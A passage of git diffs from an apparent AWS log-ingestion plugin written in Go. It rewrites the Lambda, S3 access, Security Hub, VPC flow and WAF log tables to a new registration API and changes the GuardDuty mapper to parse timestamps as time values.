row.TpIps = append(row.TpIps, *row.IpAddressV4) + } + if row.IpAddressV6 != nil { + row.TpIps = append(row.TpIps, *row.IpAddressV6) + } + if row.Ipv6Addresses != nil { + row.TpIps = append(row.TpIps, row.Ipv6Addresses...) + } + + if row.UserName != nil { + row.TpUsernames = append(row.TpUsernames, *row.UserName) + } + + return row, nil +} diff --git a/tables/lambda_log_table.go b/tables/lambda_log_table.go index ead6734b..32d82f04 100644 --- a/tables/lambda_log_table.go +++ b/tables/lambda_log_table.go @@ -1,98 +1,60 @@ package tables -// TODO this table need updating to use a RowStruct which embeds CommonFields -// -// -//type LambdaLogTable struct { -// // all tables must embed table.TableImpl -// table.TableImpl[string, *LambdaLogTableConfig, *config.AwsConnection] -//} -// -//func NewLambdaLogTable() table.Table { -// return &LambdaLogTable{} -//} -// -//func (c *LambdaLogTable) Identifier() string { -// return "aws_lambda_log" -//} -// -//func (c *LambdaLogTable) GetSourceOptions(sourceType string) []row_source.RowSourceOption { -// return []row_source.RowSourceOption{ -// artifact_source.WithRowPerLine(), -// } -//} -// -//func (c *LambdaLogTable) GetRowSchema() types.Validatable { -// return &rows.AwsLambdaLog{} -//} -// -//func (c *LambdaLogTable) GetConfigSchema() parse.Config { -// return &LambdaLogTableConfig{} -//} -// -//// TODO K why does this not fail to compile? -//func (c *LambdaLogTable) EnrichRow(rawRow string, sourceEnrichmentFields *enrichment.CommonFields) (any, error) { -// var row rows.AwsLambdaLog -// if sourceEnrichmentFields != nil { -// row.CommonFields = *sourceEnrichmentFields -// -// ts := sourceEnrichmentFields.TpTimestamp -// row.Timestamp = &ts -// } -// -// // remove trailing newline -// rawRow = strings.TrimSuffix(rawRow, "\n") -// fields := strings.Fields(rawRow) -// -// switch fields[0] { -// case "START", "END": -// row.LogType = &fields[0] -// row.RequestID = &fields[2] -// case "REPORT": -// row.LogType = &fields[0] -// row.RequestID = &fields[2] -// duration, err := strconv.ParseFloat(fields[4], 64) -// if err != nil { -// return nil, fmt.Errorf("error parsing duration: %w", err) -// } -// row.Duration = &duration -// billed, err := strconv.ParseFloat(fields[8], 64) -// if err != nil { -// return nil, fmt.Errorf("error parsing billed duration: %w", err) -// } -// row.BilledDuration = &billed -// mem, err := strconv.Atoi(fields[12]) -// if err != nil { -// return nil, fmt.Errorf("error parsing memory size: %w", err) -// } -// row.MemorySize = &mem -// maxMem, err := strconv.Atoi(fields[17]) -// if err != nil { -// return nil, fmt.Errorf("error parsing max memory used: %w", err) -// } -// row.MaxMemoryUsed = &maxMem -// default: -// t := "LOG" -// row.LogType = &t -// // TODO: #enrich should we overwrite the timestamp with that in the log entry? -// row.RequestID = &fields[1] -// row.LogLevel = &fields[2] -// strip := fmt.Sprintf("%s%s", strings.Join(fields[:3], "\t"), "\t") -// stripped := strings.TrimPrefix(rawRow, strip) -// row.Message = &stripped -// } -// -// // Record standardization -// row.TpID = xid.New().String() -// row.TpIngestTimestamp = time.Now() -// -// // Hive fields -// row.TpPartition = c.Identifier() -// if row.TpIndex == "" { -// row.TpIndex = c.Identifier() // TODO: #refactor figure out how to get connection (account ID?) -// } -// // convert to date in format yy-mm-dd -// row.TpDate = row.Timestamp.Truncate(24 * time.Hour) -// -// return row, nil -//} +import ( + "time" + + "github.com/rs/xid" + + "github.com/turbot/tailpipe-plugin-aws/config" + "github.com/turbot/tailpipe-plugin-aws/mappers" + "github.com/turbot/tailpipe-plugin-aws/rows" + "github.com/turbot/tailpipe-plugin-sdk/artifact_source" + "github.com/turbot/tailpipe-plugin-sdk/constants" + "github.com/turbot/tailpipe-plugin-sdk/enrichment" + "github.com/turbot/tailpipe-plugin-sdk/row_source" + "github.com/turbot/tailpipe-plugin-sdk/table" +) + +const LambdaLogTableIdentifier = "aws_lambda_log" + +func init() { + table.RegisterTable[*rows.LambdaLog, *LambdaLogTable]() +} + +type LambdaLogTable struct { + // all tables must embed table.TableImpl + table.TableImpl[*rows.LambdaLog, *LambdaLogTableConfig, *config.AwsConnection] +} + +func (c *LambdaLogTable) Identifier() string { + return LambdaLogTableIdentifier +} + +func (c *LambdaLogTable) SupportedSources() []*table.SourceMetadata[*rows.LambdaLog] { + return []*table.SourceMetadata[*rows.LambdaLog]{ + { + // any artifact source + SourceName: constants.ArtifactSourceIdentifier, + MapperFunc: mappers.NewLambdaLogMapper, + Options: []row_source.RowSourceOption{ + artifact_source.WithRowPerLine(), + }, + }, + } +} + +func (c *LambdaLogTable) EnrichRow(row *rows.LambdaLog, sourceEnrichmentFields *enrichment.CommonFields) (*rows.LambdaLog, error) { + if sourceEnrichmentFields != nil { + row.CommonFields = *sourceEnrichmentFields + } + + // Record standardization + row.TpID = xid.New().String() + row.TpIngestTimestamp = time.Now() + if !row.TpTimestamp.IsZero() { + row.TpTimestamp = *row.Timestamp + row.TpDate = row.Timestamp.Truncate(24 * time.Hour) + } + + return row, nil +} diff --git a/tables/s3_server_access_log_table.go b/tables/s3_server_access_log_table.go index 19414fe7..66b41502 100644 --- a/tables/s3_server_access_log_table.go +++ b/tables/s3_server_access_log_table.go @@ -1,75 +1,74 @@ package tables -// -//// register the table from the package init function -//func init() { -// table.RegisterTable(NewS3ServerAccessLogTable) -//} -// -//const s3ServerAccessLogFormat = `$bucket_owner $bucket [$timestamp] $remote_ip $requester $request_id $operation $key "$request_uri" $http_status $error_code $bytes_sent $object_size $total_time $turn_around_time "$referer" "$user_agent" $version_id $host_id $signature_version $cipher_suite $authentication_type $host_header $tls_version $access_point_arn $acl_required` -//const s3ServerAccessLogFormatReduced = `$bucket_owner $bucket [$timestamp] $remote_ip $requester $request_id $operation $key "$request_uri" $http_status $error_code $bytes_sent $object_size $total_time $turn_around_time "$referer" "$user_agent" $version_id $host_id $signature_version $cipher_suite $authentication_type $host_header $tls_version $access_point_arn` -// -//type S3ServerAccessLogTable struct { -// table.TableImpl[*rows.S3ServerAccessLog, *S3ServerAccessLogTableConfig, *config.AwsConnection] -//} -// -//func NewS3ServerAccessLogTable() table.Table[*rows.S3ServerAccessLog] { -// return &S3ServerAccessLogTable{} -//} -// -//func (c *S3ServerAccessLogTable) Init(ctx context.Context, connectionSchemaProvider table.ConnectionSchemaProvider, req *types.CollectRequest) error { -// // call base init -// if err := c.TableImpl.Init(ctx, connectionSchemaProvider, req); err != nil { -// return err -// } -// -// c.initMapper() -// return nil -//} -// -//func (c *S3ServerAccessLogTable) initMapper() { -// // TODO switch on source -// c.Mapper = table.NewDelimitedLineMapper(rows.NewS3ServerAccessLog, s3ServerAccessLogFormat, s3ServerAccessLogFormatReduced) -//} -// -//func (c *S3ServerAccessLogTable) Identifier() string { -// return "aws_s3_server_access_log" -//} -// -//func (c *S3ServerAccessLogTable) GetRowSchema() types.RowStruct { -// return rows.NewS3ServerAccessLog() -//} -// -//func (c *S3ServerAccessLogTable) GetConfigSchema() parse.Config { -// return &S3ServerAccessLogTableConfig{} -//} -// -//func (c *S3ServerAccessLogTable) GetSourceOptions(sourceType string) []row_source.RowSourceOption { -// return []row_source.RowSourceOption{ -// artifact_source.WithRowPerLine(), -// } -//} -// -//func (c *S3ServerAccessLogTable) EnrichRow(row *rows.S3ServerAccessLog, sourceEnrichmentFields *enrichment.CommonFields) (*rows.S3ServerAccessLog, error) { -// // TODO: #validate ensure we have a timestamp field -// -// // add any source enrichment fields -// if sourceEnrichmentFields != nil { -// row.CommonFields = *sourceEnrichmentFields -// } -// -// // Record standardization -// row.TpID = xid.New().String() -// row.TpIngestTimestamp = time.Now() -// row.TpSourceType = "aws.s3_server_access_log" -// -// // Hive Fields -// row.TpPartition = c.Identifier() -// if row.TpIndex == "" { -// row.TpIndex = c.Identifier() // TODO: #refactor figure out how to get connection (account ID?) -// } -// // convert to date in format yy-mm-dd -// row.TpDate = row.Timestamp.Truncate(24 * time.Hour) -// -// return row, nil -//} +import ( + "time" + + "github.com/rs/xid" + + "github.com/turbot/tailpipe-plugin-aws/config" + "github.com/turbot/tailpipe-plugin-aws/rows" + "github.com/turbot/tailpipe-plugin-sdk/artifact_source" + "github.com/turbot/tailpipe-plugin-sdk/constants" + "github.com/turbot/tailpipe-plugin-sdk/enrichment" + "github.com/turbot/tailpipe-plugin-sdk/row_source" + "github.com/turbot/tailpipe-plugin-sdk/table" +) + +const S3ServerAccessLogTableIdentifier = "aws_s3_server_access_log" +const s3ServerAccessLogFormat = `$bucket_owner $bucket [$timestamp] $remote_ip $requester $request_id $operation $key "$request_uri" $http_status $error_code $bytes_sent $object_size $total_time $turn_around_time "$referer" "$user_agent" $version_id $host_id $signature_version $cipher_suite $authentication_type $host_header $tls_version $access_point_arn $acl_required` +const s3ServerAccessLogFormatReduced = `$bucket_owner $bucket [$timestamp] $remote_ip $requester $request_id $operation $key "$request_uri" $http_status $error_code $bytes_sent $object_size $total_time $turn_around_time "$referer" "$user_agent" $version_id $host_id $signature_version $cipher_suite $authentication_type $host_header $tls_version $access_point_arn` + +// register the table from the package init function +func init() { + table.RegisterTable[*rows.S3ServerAccessLog, *S3ServerAccessLogTable]() +} + +type S3ServerAccessLogTable struct { + table.TableImpl[*rows.S3ServerAccessLog, *S3ServerAccessLogTableConfig, *config.AwsConnection] +} + +func (c *S3ServerAccessLogTable) Identifier() string { + return S3ServerAccessLogTableIdentifier +} + +func (c *S3ServerAccessLogTable) SupportedSources() []*table.SourceMetadata[*rows.S3ServerAccessLog] { + return []*table.SourceMetadata[*rows.S3ServerAccessLog]{ + { + // any artifact source + SourceName: constants.ArtifactSourceIdentifier, + MapperFunc: c.initMapper(), + Options: []row_source.RowSourceOption{artifact_source.WithRowPerLine()}, + }, + } +} + +func (c *S3ServerAccessLogTable) initMapper() func() table.Mapper[*rows.S3ServerAccessLog] { + f := func() table.Mapper[*rows.S3ServerAccessLog] { + return table.NewDelimitedLineMapper(rows.NewS3ServerAccessLog, s3ServerAccessLogFormat, s3ServerAccessLogFormatReduced) + } + return f +} + +func (c *S3ServerAccessLogTable) EnrichRow(row *rows.S3ServerAccessLog, sourceEnrichmentFields *enrichment.CommonFields) (*rows.S3ServerAccessLog, error) { + // TODO: #validate ensure we have a timestamp field + + // add any source enrichment fields + if sourceEnrichmentFields != nil { + row.CommonFields = *sourceEnrichmentFields + } + + // Record standardization + row.TpID = xid.New().String() + row.TpIngestTimestamp = time.Now() + row.TpTimestamp = row.Timestamp + row.TpDate = row.Timestamp.Truncate(24 * time.Hour) + row.TpIndex = row.Bucket // TODO: #enrichment this would ideally be the AccountID, how to obtain? + + // IPs + row.TpSourceIP = &row.RemoteIP + row.TpIps = append(row.TpIps, row.RemoteIP) + + row.TpUsernames = append(row.TpUsernames, row.Requester, row.BucketOwner) + + return row, nil +} diff --git a/tables/securityhub_finding_log_table.go b/tables/securityhub_finding_log_table.go index 7b63655a..b2043b34 100644 --- a/tables/securityhub_finding_log_table.go +++ b/tables/securityhub_finding_log_table.go @@ -1,80 +1,67 @@ package tables -// -//// register the table from the package init function -//func init() { -// table.RegisterTable(NewSecurityHubFindingLogTable) -//} -// -//type SecurityHubFindingLogTable struct { -// // all tables must embed table.TableImpl -// table.TableImpl[*rows.SecurityHubFindingLog, *SecurityHubFindingLogTableConfig, *config.AwsConnection] -//} -// -//func NewSecurityHubFindingLogTable() table.Table[*rows.SecurityHubFindingLog] { -// return &SecurityHubFindingLogTable{} -//} -// -//func (c *SecurityHubFindingLogTable) Init(ctx context.Context, connectionSchemaProvider table.ConnectionSchemaProvider, req *types.CollectRequest) error { -// // call base init -// if err := c.TableImpl.Init(ctx, connectionSchemaProvider, req); err != nil { -// return err -// } -// -// c.initMapper() -// return nil -//} -// -//func (c *SecurityHubFindingLogTable) Identifier() string { -// return "aws_securityhub_finding_log" -//} -// -//func (c *SecurityHubFindingLogTable) GetSourceOptions(sourceType string) []row_source.RowSourceOption { -// var opts []row_source.RowSourceOption -// -// switch sourceType { -// case artifact_source.AwsS3BucketSourceIdentifier: -// // the default file layout for SecurityHub logs in S3 -// defaultArtifactConfig := &artifact_source_config.ArtifactSourceConfigBase{ -// // TODO #config finalise default cloudtrail file layout -// FileLayout: utils.ToStringPointer("security_hub_findings_(?P\\d{4})(?P\\d{2})(?P\\d{2})(?P\\d{2})(?P\\d{2})(?P\\d{2})"), -// } -// opts = append(opts, artifact_source.WithDefaultArtifactSourceConfig(defaultArtifactConfig)) -// } -// -// return opts -//} -// -//func (c *SecurityHubFindingLogTable) initMapper() { -// // TODO switch on source -// c.Mapper = mappers.NewSecurityHubFindingsMapper() -//} -// -//func (c *SecurityHubFindingLogTable) GetRowSchema() types.RowStruct { -// return &rows.SecurityHubFindingLog{} -//} -// -//func (c *SecurityHubFindingLogTable) GetConfigSchema() parse.Config { -// return &SecurityHubFindingLogTableConfig{} -//} -// -//func (c *SecurityHubFindingLogTable) EnrichRow(row *rows.SecurityHubFindingLog, sourceEnrichmentFields *enrichment.CommonFields) (*rows.SecurityHubFindingLog, error) { -// if sourceEnrichmentFields != nil { -// row.CommonFields = *sourceEnrichmentFields -// } -// -// for _, resource := range row.Resources { -// newAkas := awsAkasFromArn(*resource) -// row.TpAkas = append(row.TpAkas, newAkas...) -// } -// -// row.TpSourceType = "aws_securityhub_finding_log" -// if row.Time != nil { -// row.TpTimestamp = *row.Time -// } -// if row.Account != nil { -// row.TpIndex = *row.Account -// } -// -// return row, nil -//} +import ( + "github.com/turbot/pipe-fittings/utils" + "github.com/turbot/tailpipe-plugin-aws/config" + "github.com/turbot/tailpipe-plugin-aws/mappers" + "github.com/turbot/tailpipe-plugin-aws/rows" + "github.com/turbot/tailpipe-plugin-sdk/artifact_source" + "github.com/turbot/tailpipe-plugin-sdk/artifact_source_config" + "github.com/turbot/tailpipe-plugin-sdk/constants" + "github.com/turbot/tailpipe-plugin-sdk/enrichment" + "github.com/turbot/tailpipe-plugin-sdk/row_source" + "github.com/turbot/tailpipe-plugin-sdk/table" +) + +const SecurityHubFindingLogTableIdentifier = "aws_security_hub_finding_log" + +// register the table from the package init function +func init() { + table.RegisterTable[*rows.SecurityHubFindingLog, *SecurityHubFindingLogTable]() +} + +type SecurityHubFindingLogTable struct { + // all tables must embed table.TableImpl + table.TableImpl[*rows.SecurityHubFindingLog, *SecurityHubFindingLogTableConfig, *config.AwsConnection] +} + +func (c *SecurityHubFindingLogTable) Identifier() string { + return SecurityHubFindingLogTableIdentifier +} + +func (c *SecurityHubFindingLogTable) SupportedSources() []*table.SourceMetadata[*rows.SecurityHubFindingLog] { + defaultArtifactConfig := &artifact_source_config.ArtifactSourceConfigBase{ + FileLayout: utils.ToStringPointer("AWSLogs(?:/o-[a-z0-9]{8,12})?/(?P\\d+)/SecurityHub/(?P[a-z0-9-]+)/(?P\\d{4})/(?P\\d{2})/(?P\\d{2})/findings\\.json\\.gz"), + } + + return []*table.SourceMetadata[*rows.SecurityHubFindingLog]{ + { + SourceName: constants.ArtifactSourceIdentifier, + MapperFunc: mappers.NewSecurityHubFindingsMapper, + Options: []row_source.RowSourceOption{ + artifact_source.WithDefaultArtifactSourceConfig(defaultArtifactConfig), + artifact_source.WithRowPerLine(), + }, + }, + } +} + +func (c *SecurityHubFindingLogTable) EnrichRow(row *rows.SecurityHubFindingLog, sourceEnrichmentFields *enrichment.CommonFields) (*rows.SecurityHubFindingLog, error) { + if sourceEnrichmentFields != nil { + row.CommonFields = *sourceEnrichmentFields + } + + for _, resource := range row.Resources { + newAkas := awsAkasFromArn(*resource) + row.TpAkas = append(row.TpAkas, newAkas...) + } + + if row.Time != nil { + row.TpTimestamp = *row.Time + } + if row.Account != nil { + row.TpIndex = *row.Account + } + + return row, nil +} diff --git a/tables/vpc_flow_log_table.go b/tables/vpc_flow_log_table.go index 74b5eb9f..0a20116d 100644 --- a/tables/vpc_flow_log_table.go +++ b/tables/vpc_flow_log_table.go @@ -1,104 +1,111 @@ package tables -// -//// register the table from the package init function -//func init() { -// table.RegisterTable(NewVPCFlowLogLogTable) -//} -// -//// VPCFlowLogLogTable - table for VPC Flow Logs -//type VPCFlowLogLogTable struct { -// // all tables must embed table.TableImpl -// table.TableImpl[*rows.VpcFlowLog, *VpcFlowLogTableConfig, *config.AwsConnection] -//} -// -//func NewVPCFlowLogLogTable() table.Table[*rows.VpcFlowLog] { -// return &VPCFlowLogLogTable{} -//} -// -//func (c *VPCFlowLogLogTable) Init(ctx context.Context, connectionSchemaProvider table.ConnectionSchemaProvider, req *types.CollectRequest) error { -// // call base init -// if err := c.TableImpl.Init(ctx, connectionSchemaProvider, req); err != nil { -// return err -// } -// -// c.initMapper() -// return nil -//} -// -//func (c *VPCFlowLogLogTable) initMapper() { -// // TODO switch on source -// c.Mapper = mappers.NewVpcFlowlogMapper(c.Config.Fields) -//} -// -//// Identifier implements table.Table -//func (c *VPCFlowLogLogTable) Identifier() string { -// return "aws_vpc_flow_log" -//} -// -//// GetRowSchema implements table.Table -//// return an instance of the row struct -//func (c *VPCFlowLogLogTable) GetRowSchema() types.RowStruct { -// return rows.VpcFlowLog{} -//} -// -//func (c *VPCFlowLogLogTable) GetConfigSchema() parse.Config { -// return &VpcFlowLogTableConfig{} -//} -// -//// EnrichRow implements table.Table -//func (c *VPCFlowLogLogTable) EnrichRow(row *rows.VpcFlowLog, sourceEnrichmentFields *enrichment.CommonFields) (*rows.VpcFlowLog, error) { -// // initialize the enrichment fields to any fields provided by the source -// if sourceEnrichmentFields != nil { -// row.CommonFields = *sourceEnrichmentFields -// } -// -// // Record standardization -// row.TpID = xid.New().String() -// -// // TODO is source type actually the source, i.e compressed file source etc> -// // should these all be filled in by the source??? -// row.TpSourceType = c.Identifier() -// //row.TpSourceName = ??? -// //row.TpSourceLocation = ??? -// row.TpIngestTimestamp = time.Now() -// -// // Hive fields -// // TODO - should be based on the definition in HCL -// row.TpPartition = "default" -// if row.AccountID != nil { -// row.TpIndex = *row.AccountID -// } -// -// // populate the year, month, day from start time -// if row.Timestamp != nil { -// // convert to date in format yy-mm-dd -// row.TpDate = row.Timestamp.In(time.UTC).Truncate(24 * time.Hour) -// row.TpTimestamp = *row.Timestamp -// } else if row.Start != nil { -// // convert to date in format yy-mm-dd -// // TODO is Start unix millis?? if so why do we convert it for TpTimestamp -// row.TpDate = time.UnixMilli(*row.Start).Truncate(24 * time.Hour) -// -// //convert from unis seconds to milliseconds -// row.TpTimestamp = time.Unix(0, int64(*row.Start*1000)*int64(time.Millisecond)) -// } -// -// //row.TpAkas = ??? -// //row.TpTags = ??? -// //row.TpDomains = ??? -// //row.TpEmails = ??? -// //row.TpUsernames = ??? -// -// // ips -// if row.SrcAddr != nil { -// row.TpSourceIP = row.SrcAddr -// row.TpIps = append(row.TpIps, *row.SrcAddr) -// } -// if row.DstAddr != nil { -// row.TpDestinationIP = row.DstAddr -// row.TpIps = append(row.TpIps, *row.DstAddr) -// } -// -// return row, nil -//} +import ( + "time" + + "github.com/rs/xid" + + "github.com/turbot/tailpipe-plugin-aws/config" + "github.com/turbot/tailpipe-plugin-aws/mappers" + "github.com/turbot/tailpipe-plugin-aws/rows" + "github.com/turbot/tailpipe-plugin-sdk/artifact_source" + "github.com/turbot/tailpipe-plugin-sdk/constants" + "github.com/turbot/tailpipe-plugin-sdk/enrichment" + "github.com/turbot/tailpipe-plugin-sdk/row_source" + "github.com/turbot/tailpipe-plugin-sdk/table" +) + +const VpcFlowLogTableIdentifier = "aws_vpc_flow_log" + +// register the table from the package init function +func init() { + table.RegisterTable[*rows.VpcFlowLog, *VpcFlowLogTable]() +} + +// VpcFlowLogTable - table for VPC Flow Logs +type VpcFlowLogTable struct { + // all tables must embed table.TableImpl + table.TableImpl[*rows.VpcFlowLog, *VpcFlowLogTableConfig, *config.AwsConnection] +} + +func (c *VpcFlowLogTable) initMapper() func() table.Mapper[*rows.VpcFlowLog] { + f := func() table.Mapper[*rows.VpcFlowLog] { + return mappers.NewVpcFlowLogMapper(c.Config.Fields) + } + return f +} + +func (c *VpcFlowLogTable) SupportedSources() []*table.SourceMetadata[*rows.VpcFlowLog] { + return []*table.SourceMetadata[*rows.VpcFlowLog]{ + { + // any artifact source + SourceName: constants.ArtifactSourceIdentifier, + MapperFunc: c.initMapper(), + Options: []row_source.RowSourceOption{ + artifact_source.WithRowPerLine(), + }, + }, + } +} + +// Identifier implements table.Table +func (c *VpcFlowLogTable) Identifier() string { + return VpcFlowLogTableIdentifier +} + +// EnrichRow implements table.Table +func (c *VpcFlowLogTable) EnrichRow(row *rows.VpcFlowLog, sourceEnrichmentFields *enrichment.CommonFields) (*rows.VpcFlowLog, error) { + // initialize the enrichment fields to any fields provided by the source + if sourceEnrichmentFields != nil { + row.CommonFields = *sourceEnrichmentFields + } + + // Record standardization + row.TpID = xid.New().String() + + // TODO is source type actually the source, i.e compressed file source etc> + // should these all be filled in by the source??? + row.TpSourceType = c.Identifier() + //row.TpSourceName = ??? + //row.TpSourceLocation = ??? + row.TpIngestTimestamp = time.Now() + + // Hive fields + // TODO - should be based on the definition in HCL + row.TpPartition = "default" + if row.AccountID != nil { + row.TpIndex = *row.AccountID + } + + // populate the year, month, day from start time + if row.Timestamp != nil { + // convert to date in format yy-mm-dd + row.TpDate = row.Timestamp.In(time.UTC).Truncate(24 * time.Hour) + row.TpTimestamp = *row.Timestamp + } else if row.Start != nil { + // convert to date in format yy-mm-dd + // TODO is Start unix millis?? if so why do we convert it for TpTimestamp + row.TpDate = time.UnixMilli(*row.Start).Truncate(24 * time.Hour) + + //convert from unis seconds to milliseconds + row.TpTimestamp = time.Unix(0, int64(*row.Start*1000)*int64(time.Millisecond)) + } + + //row.TpAkas = ??? + //row.TpTags = ??? + //row.TpDomains = ??? + //row.TpEmails = ??? + //row.TpUsernames = ??? + + // ips + if row.SrcAddr != nil { + row.TpSourceIP = row.SrcAddr + row.TpIps = append(row.TpIps, *row.SrcAddr) + } + if row.DstAddr != nil { + row.TpDestinationIP = row.DstAddr + row.TpIps = append(row.TpIps, *row.DstAddr) + } + + return row, nil +} diff --git a/tables/waf_traffic_log_table.go b/tables/waf_traffic_log_table.go index b7b18f6d..b613e962 100644 --- a/tables/waf_traffic_log_table.go +++ b/tables/waf_traffic_log_table.go @@ -1,91 +1,77 @@ package tables -// -//// register the table from the package init function -//func init() { -// table.RegisterTable(NewWafTrafficLogTable) -//} -// -//// WafTrafficLogTable - table for Waf traffic logs -//type WafTrafficLogTable struct { -// // all tables must embed table.TableImpl -// table.TableImpl[*rows.WafTrafficLog, *WafTrafficLogTableConfig, *config.AwsConnection] -//} -// -//func NewWafTrafficLogTable() table.Table[*rows.WafTrafficLog] { -// return &WafTrafficLogTable{} -//} -// -//func (c *WafTrafficLogTable) Init(ctx context.Context, connectionSchemaProvider table.ConnectionSchemaProvider, req *types.CollectRequest) error { -// // call base init -// if err := c.TableImpl.Init(ctx, connectionSchemaProvider, req); err != nil { -// return err -// } -// -// c.initMapper() -// return nil -//} -// -//func (c *WafTrafficLogTable) initMapper() { -// // TODO switch on source -// -// // if the source is an artifact source, we need a mapper -// c.Mapper = mappers.NewWafMapper() -//} -// -//// Identifier implements table.Table -//func (c *WafTrafficLogTable) Identifier() string { -// return "aws_waf_traffic_log" -//} -// -//// GetSourceOptions returns any options which should be passed to the given source type -//func (c *WafTrafficLogTable) GetSourceOptions(sourceType string) []row_source.RowSourceOption { -// var opts []row_source.RowSourceOption -// -// switch sourceType { -// case artifact_source.AwsS3BucketSourceIdentifier: -// // the default file layout for Waf traffic logs in S3 -// defaultArtifactConfig := &artifact_source_config.ArtifactSourceConfigBase{ -// // TODO #config finalise default Waf traffic file layout -// FileLayout: utils.ToStringPointer("waf-access-log-sample_(?P\\d{4})(?P\\d{2})(?P\\d{2})(?P\\d{2})(?P\\d{2})(?P\\d{2}).gz"), -// } -// opts = append(opts, artifact_source.WithDefaultArtifactSourceConfig(defaultArtifactConfig), artifact_source.WithRowPerLine()) -// } -// -// return opts -//} -// -//// GetRowSchema implements table.Table -//func (c *WafTrafficLogTable) GetRowSchema() types.RowStruct { -// return rows.WafTrafficLog{} -//} -// -//func (c *WafTrafficLogTable) GetConfigSchema() parse.Config { -// return &WafTrafficLogTableConfig{} -//} -// -//// EnrichRow implements table.Table -//func (c *WafTrafficLogTable) EnrichRow(row *rows.WafTrafficLog, sourceEnrichmentFields *enrichment.CommonFields) (*rows.WafTrafficLog, error) { // initialize the enrichment fields to any fields provided by the source -// if sourceEnrichmentFields != nil { -// row.CommonFields = *sourceEnrichmentFields -// } -// -// // Record standardization -// row.TpID = xid.New().String() -// row.TpSourceType = "aws_waf_traffic_log" -// row.TpTimestamp = *row.Timestamp -// row.TpIngestTimestamp = time.Now() -// -// // Hive fields -// // Check if row.HttpSourceId is not nil before dereferencing -// if row.HttpSourceId != nil { -// row.TpIndex = strings.ReplaceAll(*row.HttpSourceId, "/", `_`) -// } else { -// // Handle the case where HttpSourceId is nil, if needed -// row.TpIndex = "" // or assign a default value if desired -// } -// // convert to date in format yy-mm-dd -// row.TpDate = row.Timestamp.Truncate(24 * time.Hour) -// -// return row, nil -//} +import ( + "strings" + "time" + + "github.com/rs/xid" + + "github.com/turbot/pipe-fittings/utils" + "github.com/turbot/tailpipe-plugin-aws/config" + "github.com/turbot/tailpipe-plugin-aws/mappers" + "github.com/turbot/tailpipe-plugin-aws/rows" + "github.com/turbot/tailpipe-plugin-sdk/artifact_source" + "github.com/turbot/tailpipe-plugin-sdk/artifact_source_config" + "github.com/turbot/tailpipe-plugin-sdk/constants" + "github.com/turbot/tailpipe-plugin-sdk/enrichment" + "github.com/turbot/tailpipe-plugin-sdk/row_source" + "github.com/turbot/tailpipe-plugin-sdk/table" +) + +const WaftTrafficLogTableIdentifier = "aws_waf_traffic_log" + +// register the table from the package init function +func init() { + table.RegisterTable[*rows.WafTrafficLog, *WafTrafficLogTable]() +} + +// WafTrafficLogTable - table for Waf traffic logs +type WafTrafficLogTable struct { + // all tables must embed table.TableImpl + table.TableImpl[*rows.WafTrafficLog, *WafTrafficLogTableConfig, *config.AwsConnection] +} + +func (c *WafTrafficLogTable) SupportedSources() []*table.SourceMetadata[*rows.WafTrafficLog] { + // the default file layout for Waf traffic logs in S3 + defaultArtifactConfig := &artifact_source_config.ArtifactSourceConfigBase{ + FileLayout: utils.ToStringPointer("AWSLogs(?:/o-[a-z0-9]{8,12})?/(?P\\d+)/WAFLogs/(?P[a-zA-Z0-9-_]+)/(?P[a-z0-9-]+)/(?P\\d{4})/(?P\\d{2})/(?P\\d{2})/(?P\\d{2})/(?P.+\\.gz)"), + } + + return []*table.SourceMetadata[*rows.WafTrafficLog]{ + { + // any artifact source + SourceName: constants.ArtifactSourceIdentifier, + MapperFunc: mappers.NewWafMapper, + Options: []row_source.RowSourceOption{artifact_source.WithDefaultArtifactSourceConfig(defaultArtifactConfig), artifact_source.WithRowPerLine()}, + }, + } +} + +func (c *WafTrafficLogTable) Identifier() string { + return WaftTrafficLogTableIdentifier +} + +// EnrichRow implements table.Table +func (c *WafTrafficLogTable) EnrichRow(row *rows.WafTrafficLog, sourceEnrichmentFields *enrichment.CommonFields) (*rows.WafTrafficLog, error) { // initialize the enrichment fields to any fields provided by the source + if sourceEnrichmentFields != nil { + row.CommonFields = *sourceEnrichmentFields + } + + // Record standardization + row.TpID = xid.New().String() + row.TpTimestamp = *row.Timestamp + row.TpIngestTimestamp = time.Now() + row.TpDate = row.Timestamp.Truncate(24 * time.Hour) + + // TODO: #enrichment figure out correct field for TpIndex + // Hive fields + // Check if row.HttpSourceId is not nil before dereferencing + if row.HttpSourceId != nil { + row.TpIndex = strings.ReplaceAll(*row.HttpSourceId, "/", `_`) + } else { + // Handle the case where HttpSourceId is nil, if needed + row.TpIndex = "" // or assign a default value if desired + } + + return row, nil +} From 0a6acbccb7887dec1c512db1e7d598c87f35fdb2 Mon Sep 17 00:00:00 2001 From: Graza Date: Tue, 19 Nov 2024 10:53:56 +0000 Subject: [PATCH 090/180] refactor(guardduty): times using time.Time instead of varchar --- mappers/guardduty_mapper.go | 28 +++++++--- rows/elb_access_log_test.go | 2 +- rows/guardduty_finding.go | 104 ++++++++++++++++++------------------ 3 files changed, 73 insertions(+), 61 deletions(-) diff --git a/mappers/guardduty_mapper.go b/mappers/guardduty_mapper.go index 9365ba29..38ac38d5 100644 --- a/mappers/guardduty_mapper.go +++ b/mappers/guardduty_mapper.go @@ -4,7 +4,6 @@ import ( "context" "encoding/json" "fmt" - "log/slog" "time" "github.com/aws/aws-sdk-go-v2/service/guardduty/types" @@ -64,7 +63,6 @@ func (g *GuardDutyMapper) Map(_ context.Context, a any) ([]*rows.GuardDutyFindin Severity: finding.Severity, Title: finding.Title, Type: finding.Type, - UpdatedAt: finding.UpdatedAt, } if finding.Service.Action != nil { if finding.Service.Action.ActionType != nil { @@ -93,14 +91,21 @@ func (g *GuardDutyMapper) Map(_ context.Context, a any) ([]*rows.GuardDutyFindin // Parse `CreatedAt` if it's provided if finding.CreatedAt != nil { - createdAt, err := time.Parse(time.RFC3339, *finding.CreatedAt) - if err == nil { - row.CreatedAt = createdAt - } else { - slog.Warn("GuardDutyMapper", "error parsing CreatedAt", err) + row.CreatedAt, err = time.Parse(time.RFC3339, *finding.CreatedAt) + if err != nil { + return nil, fmt.Errorf("error parsing CreatedAt: %w", err) } } + if finding.UpdatedAt != nil { + var updatedAt time.Time + updatedAt, err = time.Parse(time.RFC3339, *finding.UpdatedAt) + if err != nil { + return nil, fmt.Errorf("error parsing UpdatedAt: %w", err) + } + row.UpdatedAt = &updatedAt + } + // Parse `EventFirstSeen` and `EventLastSeen` if finding.Service.EventFirstSeen != nil { row.EventFirstSeen = finding.Service.EventFirstSeen @@ -126,8 +131,15 @@ func (g *GuardDutyMapper) Map(_ context.Context, a any) ([]*rows.GuardDutyFindin row.InstanceState = finding.Resource.InstanceDetails.InstanceState 